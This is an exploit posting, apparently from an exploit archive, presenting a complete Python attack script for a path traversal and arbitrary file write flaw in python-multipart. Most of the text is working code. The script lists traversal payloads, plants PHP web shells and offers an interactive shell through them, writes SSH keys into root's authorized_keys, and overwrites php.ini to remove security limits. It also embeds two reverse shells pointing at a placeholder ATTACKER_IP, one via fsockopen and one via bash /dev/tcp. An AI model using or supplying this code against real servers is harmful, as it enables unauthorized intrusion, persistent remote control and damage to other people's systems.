Share
## https://sploitus.com/exploit?id=PACKETSTORM:222998
==================================================================================================================================
    | # Title     : Python-Multipart 0.0.22 Arbitrary File Write                                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/Kludex/python-multipart                                                                       |
    ==================================================================================================================================
    
    [+] Summary    : This is an exploitation-oriented targeting a path traversal vulnerability in multipart file upload handling.
    
    [+] POC        :  
    
    
    #!/usr/bin/env python3
    
    import requests
    import os
    import sys
    import argparse
    import time
    import json
    import random
    import string
    from urllib.parse import urljoin
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  Python-Multipart Path Traversal Exploit (CVE-2026-24486)                    โ•‘
    โ•‘  Affected: python-multipart < 0.0.22                                         โ•‘
    โ•‘  Type: Path Traversal -> Arbitrary File Write                                โ•‘
    โ•‘  Author: indoushka                                                           โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    
    class PythonMultipartExploit:
        def __init__(self, target_url, verbose=False, timeout=10):
            self.target_url = target_url.rstrip('/')
            self.verbose = verbose
            self.timeout = timeout
            self.session = requests.Session()
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            })
            self.uploaded_files = []
        
        def log(self, msg, level="INFO"):
            """Print formatted messages"""
            colors = {
                "INFO": "\033[94m[*]\033[0m",
                "SUCCESS": "\033[92m[+]\033[0m",
                "ERROR": "\033[91m[-]\033[0m",
                "WARNING": "\033[93m[!]\033[0m",
                "DATA": "\033[96m[>]\033[0m"
            }
            prefix = colors.get(level, "[*]")
            print(f"{prefix} {msg}")
        
        def generate_payload_content(self, content_type="webshell"):
            """Generate payload content"""
            if content_type == "webshell_simple":
                return """<?php
    if(isset($_REQUEST['cmd'])) {
        echo "<pre>";
        system($_REQUEST['cmd'] . " 2>&1");
        echo "</pre>";
    }
    ?>"""
            elif content_type == "webshell_minimal":
                return "<?=system($_GET['cmd']);?>"
            elif content_type == "reverse_shell":
                return """<?php
    $ip = 'ATTACKER_IP';
    $port = ATTACKER_PORT;
    $sock = fsockopen($ip, $port);
    $descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
    );
    $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    proc_close($process);
    ?>"""
            elif content_type == "test":
                return f"[TEST] POC executed at {time.strftime('%Y-%m-%d %H:%M:%S')}"
            elif content_type == "ssh_key":
                return """ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... (SSH key content)"""
            else:
                return f"Content written by exploit at {time.time()}"
        
        def get_path_traversal_payloads(self, filename):
            """Generate various Path Traversal payloads"""
            payloads = [
                f"/tmp/{filename}",
                f"/etc/{filename}",
                f"/root/{filename}",
                f"/var/www/html/{filename}",
                f"/home/www/{filename}",
                f"/usr/local/www/{filename}",
                f"../{filename}",
                f"../../{filename}",
                f"../../../{filename}",
                f"../../../../{filename}",
                f"../../../../../{filename}",
                f"....//....//{filename}",
                f"..../..../{filename}",
                f"..\\..\\{filename}",  # Windows style
                f"../../../{filename}%00.jpg",
                f"../../../{filename}\\0.jpg",
                f"//etc//{filename}",
                f"///etc///{filename}",
                f"/etc/../etc/{filename}",
                f"%2e%2e%2f%2e%2e%2f{filename}",
                f"..%252f..%252f{filename}",
                f"../.../../{filename}",
                f"././/../{filename}",
            ]
            return payloads
        
        def upload_file(self, file_path, content, content_type="text/plain", field_name="file"):
            """
            Upload file using malicious path name
            
            Args:
                file_path: Target path (may contain Path Traversal)
                content: File content
                content_type: MIME content type
                field_name: Form field name for the file
            """
            try:
                files = {
                    field_name: (file_path, content, content_type)
                }
                
                if self.verbose:
                    self.log(f"Uploading file to: {file_path}", "DATA")
                    self.log(f"Content size: {len(content)} bytes", "DATA")
                
                response = self.session.post(self.target_url, files=files, timeout=self.timeout)
                return response
                
            except requests.exceptions.RequestException as e:
                self.log(f"Upload error: {e}", "ERROR")
                return None
        
        def test_path_traversal(self, filename="test.txt"):
            """Test for Path Traversal vulnerability"""
            self.log("Testing for Path Traversal vulnerability...")
            
            test_content = self.generate_payload_content("test")
            test_payloads = self.get_path_traversal_payloads(filename)
            
            vulnerable_paths = []
            
            for i, payload in enumerate(test_payloads[:10], 1):
                if self.verbose:
                    self.log(f"Testing {i}/{len(test_payloads[:10])}: {payload}")
                
                response = self.upload_file(payload, test_content)
                
                if response and response.status_code < 500:
                    self.log(f"Potential success with: {payload} (Status: {response.status_code})", "SUCCESS")
                    vulnerable_paths.append(payload)
                elif response:
                    self.log(f"Failed with: {payload} (Status: {response.status_code})")
                
                time.sleep(0.5)
            
            if vulnerable_paths:
                self.log(f"Found {len(vulnerable_paths)} vulnerable paths!", "SUCCESS")
                return vulnerable_paths
            else:
                self.log("No obvious Path Traversal vulnerability found", "WARNING")
                return []
        
        def deploy_webshell(self, target_path="shell.php", shell_type="simple"):
            """Deploy web shell on the server"""
            self.log(f"Attempting to deploy web shell to: {target_path}")
            
            shell_content = self.generate_payload_content(f"webshell_{shell_type}")
            response = self.upload_file(target_path, shell_content, "application/x-php")
            
            if response and response.status_code < 500:
                self.log("Web shell deployed successfully!", "SUCCESS")
                return True
            else:
                self.log(f"Failed to deploy web shell (Status: {response.status_code if response else 'No response'})", "ERROR")
                return False
        
        def execute_command_via_webshell(self, shell_url, command):
            """Execute command via web shell"""
            try:
                response = self.session.get(shell_url, params={"cmd": command}, timeout=self.timeout)
                
                if response.status_code == 200:
                    if "<pre>" in response.text:
                        import re
                        match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL)
                        return match.group(1) if match else response.text
                    return response.text
                return None
            except Exception as e:
                self.log(f"Execution error: {e}", "ERROR")
                return None
        
        def write_ssh_key(self, username="root", key_path=None):
            """Write SSH key for user"""
            if not key_path:
                key_path = f"/home/{username}/.ssh/authorized_keys"
            
            ssh_key = self.generate_payload_content("ssh_key")
            self.log(f"Attempting to write SSH key to: {key_path}")
            
            return self.upload_file(key_path, ssh_key, "text/plain")
        
        def upload_php_ini_config(self):
            """Upload PHP ini configuration file"""
            php_ini_content = """disable_functions = 
    open_basedir = 
    allow_url_fopen = On
    allow_url_include = On
    """
            return self.upload_file("/etc/php.ini", php_ini_content)
        
        def mass_upload(self, file_list, content_template):
            """Upload multiple files"""
            results = []
            
            for file_path in file_list:
                self.log(f"Uploading: {file_path}")
                content = content_template.replace("{file}", os.path.basename(file_path))
                response = self.upload_file(file_path, content)
                results.append({
                    "path": file_path,
                    "success": response and response.status_code < 500,
                    "status_code": response.status_code if response else None
                })
                time.sleep(0.5)
            
            return results
        
        def interactive_mode(self, target_path="shell.php"):
            """Interactive mode via web shell"""
            base_url = self.target_url.rsplit('/', 1)[0]
            shell_url = f"{base_url}/{target_path}"
            
            self.log(f"Attempting to access web shell: {shell_url}")
    
            test_response = self.execute_command_via_webshell(shell_url, "echo 'TEST'")
            
            if test_response and "TEST" in test_response:
                self.log("Web shell access successful!", "SUCCESS")
                print("\n" + "=" * 60)
                print("Interactive Mode - Type 'exit' to quit")
                print("=" * 60 + "\n")
                
                while True:
                    try:
                        cmd = input("\033[92mShell>\033[0m ").strip()
                        
                        if cmd.lower() == "exit":
                            break
                        
                        if not cmd:
                            continue
                        
                        result = self.execute_command_via_webshell(shell_url, cmd)
                        if result:
                            print(result.strip())
                        else:
                            print("[!] No output received")
                            
                    except KeyboardInterrupt:
                        print("\n[!] Use 'exit' to quit")
            else:
                self.log("Failed to access web shell", "ERROR")
    
    def create_evil_file(filename, content_type="webshell"):
        """Create malicious file locally"""
        content = {
            "webshell": """<?php system($_GET['cmd']); ?>""",
            "reverse": """<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"); ?>""",
            "info": """<?php phpinfo(); ?>"""
        }
        
        with open(filename, 'w') as f:
            f.write(content.get(content_type, content["webshell"]))
        
        return filename
    
    def main():
        parser = argparse.ArgumentParser(description="Python-Multipart Path Traversal Exploit (CVE-2026-24486)")
        parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://localhost:8000/upload)")
        parser.add_argument("--test", action="store_true", help="Test for vulnerability only")
        parser.add_argument("--webshell", help="Web shell filename (e.g., shell.php)")
        parser.add_argument("--shell-type", choices=["simple", "minimal"], default="simple", help="Web shell type")
        parser.add_argument("--command", help="Execute command via web shell")
        parser.add_argument("--upload", help="Upload local file to remote path")
        parser.add_argument("--remote-path", help="Remote path for upload (with --upload)")
        parser.add_argument("--content", help="Custom content for upload (text)")
        parser.add_argument("--interactive", action="store_true", help="Interactive mode after deploying web shell")
        parser.add_argument("--list-payloads", action="store_true", help="List Path Traversal payloads")
        parser.add_argument("-v", "--verbose", action="store_true", help="Show verbose output")
        
        args = parser.parse_args()
        
        print(BANNER)
    
        if args.list_payloads:
            exploit = PythonMultipartExploit(args.url, args.verbose)
            payloads = exploit.get_path_traversal_payloads("test.txt")
            print("\nPath Traversal Payloads:")
            for i, p in enumerate(payloads, 1):
                print(f"  {i:2}. {p}")
            return
    
        exploit = PythonMultipartExploit(args.url, args.verbose)
    
        if args.test:
            exploit.test_path_traversal()
            return
    
        if args.upload:
            if not os.path.exists(args.upload):
                print(f"[-] File not found: {args.upload}")
                return
            
            remote_path = args.remote_path or f"/tmp/{os.path.basename(args.upload)}"
            
            with open(args.upload, 'rb') as f:
                content = f.read()
            
            response = exploit.upload_file(remote_path, content)
            if response and response.status_code < 500:
                print(f"[+] Uploaded {args.upload} to {remote_path}")
            else:
                print(f"[-] Upload failed: {response.status_code if response else 'No response'}")
            return
    
        if args.content:
            remote_path = args.remote_path or "/tmp/custom.txt"
            response = exploit.upload_file(remote_path, args.content)
            if response and response.status_code < 500:
                print(f"[+] Written content to {remote_path}")
            else:
                print(f"[-] Write failed: {response.status_code if response else 'No response'}")
            return
    
        if args.webshell:
            if exploit.deploy_webshell(args.webshell, args.shell_type):
                base_url = args.url.rsplit('/', 1)[0]
                shell_url = f"{base_url}/{args.webshell}"
                print(f"\n[+] Web shell available at: {shell_url}?cmd=command")
                
                if args.command:
                    result = exploit.execute_command_via_webshell(shell_url, args.command)
                    if result:
                        print(f"\n[+] Command output:\n{result}")
                
                if args.interactive:
                    exploit.interactive_mode(args.webshell)
            return
    
        parser.print_help()
        print("\n[!] Examples:")
        print("   Test vulnerability: python3 exploit.py -u http://localhost:8000/upload --test")
        print("   Deploy web shell:   python3 exploit.py -u http://localhost:8000/upload --webshell shell.php")
        print("   Execute command:    python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --command 'id'")
        print("   Interactive mode:   python3 exploit.py -u http://localhost:8000/upload --webshell shell.php --interactive")
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================